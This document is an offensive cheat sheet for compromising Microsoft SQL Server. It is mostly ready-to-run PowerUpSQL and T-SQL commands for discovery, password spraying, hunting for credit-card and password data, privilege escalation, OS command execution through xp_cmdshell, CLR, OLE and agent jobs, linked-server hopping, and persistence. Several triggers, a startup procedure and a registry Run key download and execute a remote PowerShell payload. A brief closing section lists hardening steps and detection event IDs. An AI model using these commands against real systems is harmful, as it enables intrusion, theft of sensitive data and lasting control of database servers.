# UDP Scanning
Get-SQLInstanceScanUDP
# Local Instance
Get-SQLInstanceLocal
# Discovery (SPN Scanning):
Get-SQLInstanceDomain
# Check Accessibility:
Get-SQLConnectionTestThreaded
# Get available servers and test if current user can connect:
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
# Gather Information:
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Password Spray
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded Username sa -Password Password -Verbose
# Using public role to fuzz logins, can then feed those to brute force
Get-SQLFuzzServerLogin -Instance ops-mssql –Verbose
Enumeration
Users / Roles
# Current User
SELECT SUSER_SNAME();
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
# Current Role
SELECT user;
# Show all logins on a server
SELECT * FROM sys.server_principals WHERE type_desc != 'SERVER_ROLE';
# Show all database users for a database
SELECT * FROM sys.database_principals WHERE type_desc != 'DATABASE_ROLE';
# List all sysadmins
SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1;
# List all database roles
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name;
# Effective permissions for the server
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Effective permissions for the database
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Active user token
SELECT * FROM sys.user_token;
Active login token
SELECT * FROM sys.login_token;
Databases
# Version
SELECT @@version;
# Current Database
SELECT db_name();
# List all databases
SELECT name FROM master..sysdatabases;
Tables
# List tables of a database
SELECT name FROM <dbname>..sysobjects WHERE xtype = 'U';SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='<dbname>';
# Alternative to list tables
SELECT name FROM <dbname>..sysobjects WHERE xtype = ‘U’;
# Use DB
Use <dbname>;
# List table contents
Select * from <tablename>;
Sensitive Data
# Look for interesting DB on name
Get-SQLDatabaseThreaded -Threads 10 -Username sa Password Pass@123 -Instance ops-sqlsrvprod -verbose | select -ExpandProperty DatabaseName
# Look for interesting DB that are encrypted (decrypted automatically for sa)
Get-SQLDatabaseThreaded -Threads 10 -Username sa Password Pass@123 -Instance ops-sqlsrvprod | WhereObject {$_.is_encrypted -eq “True"}
# Locating interesting data
Get-SQLColumnSampleDataThreaded -Threads 10 -Keywords "password, credit" -SampleSize 5 -ValidateCC -NoDefaults -Username sa -Password Pass@123 -Instance ops-sqlsrvprod -Verbose
Privilege Escalation
Impersonation
# Find roles that you can impersonate
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
# Impersonate a user
EXECUTE AS LOGIN = 'dbadmin'
# Check privs of user
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
# Revert
SELECT ORIGINAL_LOGIN()
# Find trustworthy databases
SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;
# Look for db_owner role within a database
USE <database>;
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name;
# Impersonate DB_owner
EXECUTE AS USER = 'dbo';
SELECT system_user;
# Abuse privs of trustworthy db to add our user as a sysadmin
EXEC sp_addsrvrolemember 'opsdc\labuser','sysadmin';
Invoke-SQLOSCmd -Username sa -Password Password1 -Instance ops-mssql.offensiveps.com –Command whoami
Extended Stored Procedures
# Create the DLL to add to the SQL db
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc
# Register the dll from our system
Get-SQLQuery -UserName sa -Password Password1 –Instance opssqlsrvone –Query "sp_addextendedproc 'xp_calc', '\\192.168.15.2\fileserver\xp_calc.dll'"
# Execute the stored procedure
Get-SQLQuery -UserName sa -Password Password1 –Instance opssqlsrvone –Query "EXEC xp_calc"
# List extended stored procedures
Get-SQLStoredProcedureXP -Instance ops-sqlsrvone -Verbose
# Register the stored procedure (dll name and function name must match exactly)
sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'
# Execute the stored procedure
EXEC xp_calc
# Drop the stored procedure
sp_dropextendedproc 'xp_calc'
# Code sample for dll:
https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp
# Enable CLR using manual SQL
use msdb
GO
sp_configure 'show advanced options',1
RECONFIGURE
GO
sp_configure 'clr enabled',1
RECONFIGURE
GO
# Create the DLL for CLR
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\labuser\Desktop
# Execute commands through CLR
Invoke-SQLOSCmdCLR -Username sa -Password Password1 -Instance ops-sqlsrvone –Command "whoami" -Verbose
# List all DLLs added through CLR
Get-SQLStoredProcedureCLR -Instance ops-sqlsrvone Verbose
# Enable CLR using manual SQL
use msdb
GO
sp_configure 'show advanced options',1
RECONFIGURE
GO
sp_configure 'clr enabled',1
RECONFIGURE
GO
# Create the DLL for CLR
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\labuser\Desktop
# Import the assembly file
CREATE ASSEMBLY my_assembly
FROM '\\192.168.15.2\fileserver\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
GO
# Import the assembly as a hexadecimal string of a CLR DLL
CREATE ASSEMBLY [NMfsa] AUTHORIZATION [dbo] FROM 0x4D5A90……
# Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO
# Execute commands
cmd_exec 'whoami'
# Cleanup
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly
OLE Automation Procedures
# Automated enabling, executing and reading
Invoke-SQLOSCmdCLR -Username sa -Password Password1 Instance ops-sqlsrvone –Command "whoami" –Verbose
# Enable OLE automation procedures
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
# Execute Command
DECLARE @output INT
DECLARE @ProgramToRun VARCHAR(255)
SET @ProgramToRun = 'Run("calc.exe")'
EXEC sp_oacreate 'wScript.Shell', @output out
EXEC sp_oamethod @output, @ProgramToRun
EXEC sp_oadestroy @output
# Output has to be written to a file then read
Agent Jobs
# List all jobs
Get-SQLAgentJob -Instance ops-sqlsrvone -username sa -Password Pass@123 -Verbose
# Execute commands
Invoke-SQLOSCmdAgentJob –Subsystem PowerShell -Username sa -Password Password1 -Instance ops-sqlsrvone –Command "powershell –e <base64encodedscript>" -Verbose
–Subsystem CmdExec
–Subsystem VBScript
–Subsystem Jscript
# Execute R
Invoke-SQLOSCmdR -Username sa -Password Password1 -Instance ops-sqlprod –Command "powershell –e <base64encodedscript>" –Verbose
# Execute python
Invoke-SQLOSCmdPython -Username sa -Password Password1 -Instance ops-sqlprod –Command "powershell –e <base64encodedscript>" -Verbose
# Enable external scripts
sp_configure 'external scripts enabled'
GO
# Execute R script
EXEC sp_execute_external_script @language=N'R', @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' WITH RESULT SETS (([cmd_out] text));
GO
# Grab NTLM hash with R
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0 mgh4x")'
# Use Shell instead of system
@script=N'OutputDataSet <data.frame(shell("dir",intern=T))'
# Execute Python
EXEC sp_execute_external_script @language =N'Python', @script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' WITH RESULT SETS (([cmd_out] nvarchar(max)))
Database Link Abuse
Enumerating Database Links
# Look for links to remote servers
Get-SQLServerLink -Instance INSTANCE -Verbose
# Enumerating nested database links
Get-SQLServerLinkCrawl -Instance INSTANCE -Verbose
# Look for first link
select * from master..sysservers
# look for second link
select * from openquery("<linked-db>",'select * from master..sysservers')
# Enumerating nested database links
select * from openquery("INSTANCE1",'select * from openquery("INSTANCE2",''select * from master..sysservers'')')
Enabling xp_cmdshell if rpcout is enabled (disabled by default)
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "INSTANCE"
# Execute calc (note that ' double every link) (not - use full fqdn)
select * from openquery("ops-mssql",'select * from openquery("ops-file",''select * from openquery("dpssqlsrvtwo",''''select @@version as version;exec master..xp_cmdshell "cmd /c calc.exe"'''')'')')
# Enumerate Info
select * from openquery("UFC-DB1",'select * from openquery("UFC-DBPROD",''select * from openquery("AC-DBREPORT.amazecorp.local",''''select * from master..sysservers;'''')'')')
# Use database over links
select * from openquery("UFC-DB1",'select * from openquery("UFC-DBPROD",''select * from openquery("AC-DBREPORT.amazecorp.local",''''EXEC (''''''''USE msdb; SELECT db_name()'''''''')'''')'')')
Stealing Link Account
When the link is setup, its set with an account. This could be SA or it could be a user account. You can find out what that account is by enumerating the link. Whatever account the command is running as on the link, is the account used to set it up.
Compromise DB-Server1, its linked to DB-Server2 with the SA of DB-Server2. Can use powershell to get the cleartext cred of SA for DB-Server2. Can then use HeidiSQL or similar to log into the DB-Server2 as SA, can then install cmd execution without dealing with RPCOUT (which prevents this occuring over the link).
# Enable xp_cmdshell (shown above)
# Go into master db
USE master
GO
# Create stored procedure
CREATE PROCEDURE sp_autops
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/ payload.ps1'')"'
GO
# Mark the stored procedure for automatic execution when SQL server restarts
EXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';
# List stored procedures marked for automatic execution
SELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
Triggers
# List all triggers
SELECT * FROM sys.server_triggers
# List all triggers for a DB
USE testdb
SELECT * FROM sys.server_triggers
# DDL trigger (executes on create,alter and drop statements and some sp)
CREATE Trigger [persistence_ddl_1]
ON ALL <SERVER/DATABASE>
FOR DDL_LOGIN_EVENTS
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO
# DML trigger (executes on insert, update and delete statements)
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO
# Logon triggers (executes on a user login)
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
END;
Registry
# Use xp_regwrite to execute a shell
Get-SQLPersistRegDebugger -Instance ops-sqlsrvone -username sa -Password Password1 -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Verbose
# Use xp_regwrite to persist
Get-SQLPersistRegRun -Instance ops-sqlsrvone -username sa -Password Password1 -Name SQLUpdate -Command 'powershell –w 1 – NoP –NoL iex(New-Object Net.WebClient).DownloadString("http://webserver/evil.ps1")' -Verbose
# Use xp_regread as sysadmin to read autologon passwords from registry
Get-SQLRecoverPwAutoLogon -Instance ops-sqlsrvone -username sa -Password Password1 -Verbose
Audit SQL Servers to check the flow of links, trusts, privileges and credentials.
Ensure that Service Accounts for databases are not high privilege domain account.
Make sure that known dangerous Stored Procedures are disabled.
Use SQL Server Audit to log interesting server level and database level events.
Log and Audit.
Monitor the logs.
General Logs
SQL Server Error Log is the place to look for interesting SQL Server logs. By default, the error log is located at %ProgramFiles%\Microsoft SQL Server\MSSQL.1MSSQL\LOG\ERRORLOG
Logs can be viewed in Management Studio by browsing to Management -> SQL Server Logs
Logs are also written to Windows Application logs with MSSQLSERVER as source.
Brute Force Logs
General best practices like having a good password policy and not using same username across databases.
SQL server Logon failures are logged by default in the Windows application log with source MSSQLSERVER.
Look for Event ID 18456. The log message also details the type of brute force - "Password did not match for the login provided" vs "Could not find a login matching the name provided."
Other Event IDs
Event ID 5084 also reports for setting TRUSTWORTHY to on/off.
Event ID 17135 logs launch of startup stored procedures.
Event ID 33090 for successful and 17750 for failed loading of DLLs.
Recall that all command execution techniques we used needed the use of sp_configure.
Using sp_configure leaves Event ID 15457 in the Windows Application log with the configuration changed (argument passed to sp_configure).
This can be used as a very good indicator of command execution.
Make sure that an alert is generated only on the argument of sp_configure to avoid false positives.
